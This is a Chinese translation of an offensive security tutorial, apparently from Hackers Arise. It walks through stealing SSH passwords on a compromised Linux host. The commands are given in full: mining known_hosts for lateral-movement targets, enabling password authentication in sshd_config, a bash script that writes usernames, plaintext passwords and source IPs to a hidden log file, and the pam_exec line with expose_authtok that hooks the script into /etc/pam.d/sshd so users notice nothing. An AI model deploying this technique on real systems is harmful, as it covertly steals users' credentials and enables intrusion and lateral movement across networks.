导语:在Linux系统上,有一种通过修改PAM(可插拔认证模块)来悄悄窃取SSH登录凭据的经典手法。先通过known_hosts文件找到横向移动目标,再重新配置SSH允许密码登录,然后编写一个自定义日志脚本,把它植入PAM认证链中。一旦生效,每一次SSH登录都会被静默记录到一个隐藏日志文件中——用户名、密码、来源IP,一览无余。
欢迎回来,各位充满抱负的网络战士们!
拿下第一台Linux机器之后,拿到root权限好像很爽,但实际上战斗才刚刚开始。在Linux环境里搞横向移动,比Windows域不知难了多少倍。就算你拿到了一台机器的root,也很快会撞墙——你看到屏幕上显示有用户连到别的系统,但你没有他们的密码。没有密码,就只能原地踏步。内存转储、进程抓取这些手段在某些场景或许有用,但SSH进程几乎不会把明文密码暴露出来。乍一看,这像是一条死路。
这就是PAM(Pluggable Authentication Module,可插拔认证模块)发挥作用的地方。通过修改PAM处理登录的方式,就能在用户每次认证时悄悄把密码记下来。这是一种系统化地收割SSH密码、用于横向移动的方法。

一、通过known_hosts做侦察
在动手改PAM之前,先搞清楚网络环境——看看合法用户在往哪连。SSH客户端会把之前连过的服务器信息存在每个用户.ssh目录下的known_hosts文件里。如果这些文件能读到,你就能拿到一份目标地址清单,根本不用做烦人的扫描。
比如,看一眼/home/dev3/.ssh/known_hosts,可能会发现类似git这样的条目。这一条线索就暗示了一个跳板——如果被入侵的机器在受限环境中,那台主机可能位于另一个子网,或者有访问控制,原本你根本够不着。有了正确的密码,这个文件就是横向移动的路线图。

二、准备目标主机
在部署密码捕获机制之前,先确保目标主机接受密码登录。SSHD可以配置为完全禁止密码认证、只允许密钥登录。要启用密码捕获,必须在/etc/ssh/sshd_config中设置:
target# > nano /etc/ssh/sshd_config
将PasswordAuthentication设为yes:
PasswordAuthentication yes

改完这一步,基础工作就做好了。
三、编写日志脚本
接下来写一个小脚本,用来记录每次登录尝试。用root权限在/usr/local/bin/logc.sh创建一个新文件:
target# > nano /usr/local/bin/logc.sh
脚本内容如下:
#!/bin/bash
echo "$(date) User: $PAM_USER Password: $(cat -), From: $PAM_RHOST" >> /var/log/.authc.log

给它加上执行权限:
target# > chmod 777 /usr/local/bin/logc.sh
然后创建用于静默收集数据的隐藏日志文件:
target# > touch /var/log/.authc.log
这个脚本虽然简单,但非常实用。它会捕获用户名、明文密码、连接来源IP,并为每条记录打上时间戳。
四、植入PAM认证链
日志脚本写好后,下一步就是把它插入PAM认证链。PAM配置在不同发行版间略有差异,对于SSH来说,相关文件是/etc/pam.d/sshd。如果想覆盖更广的范围,也可以改/etc/pam.d/common-auth(Debian/Ubuntu)或/etc/pam.d/password-auth(CentOS)。
只改SSH认证的话,打开/etc/pam.d/sshd,在最顶部加一行:
target# > nano /etc/pam.d/sshd
auth optional pam_exec.so quiet expose_authtok /usr/local/bin/logc.sh

这行配置的意义是:每次认证尝试——不论成功还是失败——都会先经过你的日志脚本,然后再继续正常的PAM验证流程。密码就这样被悄悄记下来了,而真正的用户完全察觉不到任何异常。
五、应用并测试
让改动生效,重启SSH服务:
target# > service sshd restart
重启后用有效密码登录一次,测试补丁是否生效:

然后查看日志文件:
target# > cat /var/log/.authc.log


每条记录都会显示:用户名、输入的密码、远程连接的来源IP,以及登录时间。只要等上几天,这个日志文件就会积累大量合法用户的真实密码,成为你横向移动的弹药库。
六、总结
这是一套在Linux上通过修改PAM模块来收割SSH密码的经典打法。具体步骤:先通过known_hosts文件识别横向移动的目标,然后重新配置SSH开启密码认证,接着编写自定义日志脚本,最后把脚本植入/etc/pam.d/sshd的PAM认证链中。补丁生效后,每一次登录都会被静默地写进隐藏日志文件。重启SSH服务后,之后的所有连接都会持续为你提供可用凭据。
作者简介:Co11ateral,前乌克兰武装部队网络专家,曾领导数字防御行动,现协助各类组织加强网络安全防护。
版权声明:本文由华盟网翻译整理,保留所有权利。原文版权归Hackers Arise所有。














暂无评论内容